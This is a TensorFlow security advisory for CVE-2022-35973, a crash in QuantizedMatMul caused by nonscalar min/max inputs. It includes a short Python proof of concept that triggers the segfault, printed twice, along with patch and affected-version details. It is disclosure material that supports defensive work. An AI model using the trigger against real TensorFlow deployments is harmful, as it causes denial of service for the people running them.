TensorFlow vulnerable to segfault in `QuantizedMatMul`
Medium5.9CVE-2022-35973 · Published Sep 16, 2022 · updated Jul 13, 2026
### Impact If `QuantizedMatMul` is given nonscalar input for: - `min_a` - `max_a` - `min_b` - `max_b` It gives a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf Toutput = tf.qint32 transpose_a = False transpose_b = False Tactivation = tf.quint8 a = tf.constant(7, shape=[3,4], dtype=tf.quint8) b = tf.constant(1, shape=[2,3], dtype=tf.quint8) min_a = tf.constant([], shape=[0], dtype=tf.float32) max_a = tf.constant(0, shape=[1], dtype=tf.float32) min_b = tf.constant(0, shape=[1], dtype=tf.float32) max_b = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation) ``` ### Patches We have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more i...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.7.2 | 2.7.2 |
| >= 2.8.0, < 2.8.1 | 2.8.1 | |
| >= 2.9.0, < 2.9.1 | 2.9.1 |
Details and references
### Impact If `QuantizedMatMul` is given nonscalar input for: - `min_a` - `max_a` - `min_b` - `max_b` It gives a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf Toutput = tf.qint32 transpose_a = False transpose_b = False Tactivation = tf.quint8 a = tf.constant(7, shape=[3,4], dtype=tf.quint8) b = tf.constant(1, shape=[2,3], dtype=tf.quint8) min_a = tf.constant([], shape=[0], dtype=tf.float32) max_a = tf.constant(0, shape=[1], dtype=tf.float32) min_b = tf.constant(0, shape=[1], dtype=tf.float32) max_b = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation) ``` ### Patches We have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-20
- Also known as
- BIT-tensorflow-2022-35973, CVE-2022-35973, PYSEC-2026-3119, PYSEC-2026-3285, PYSEC-2026-959
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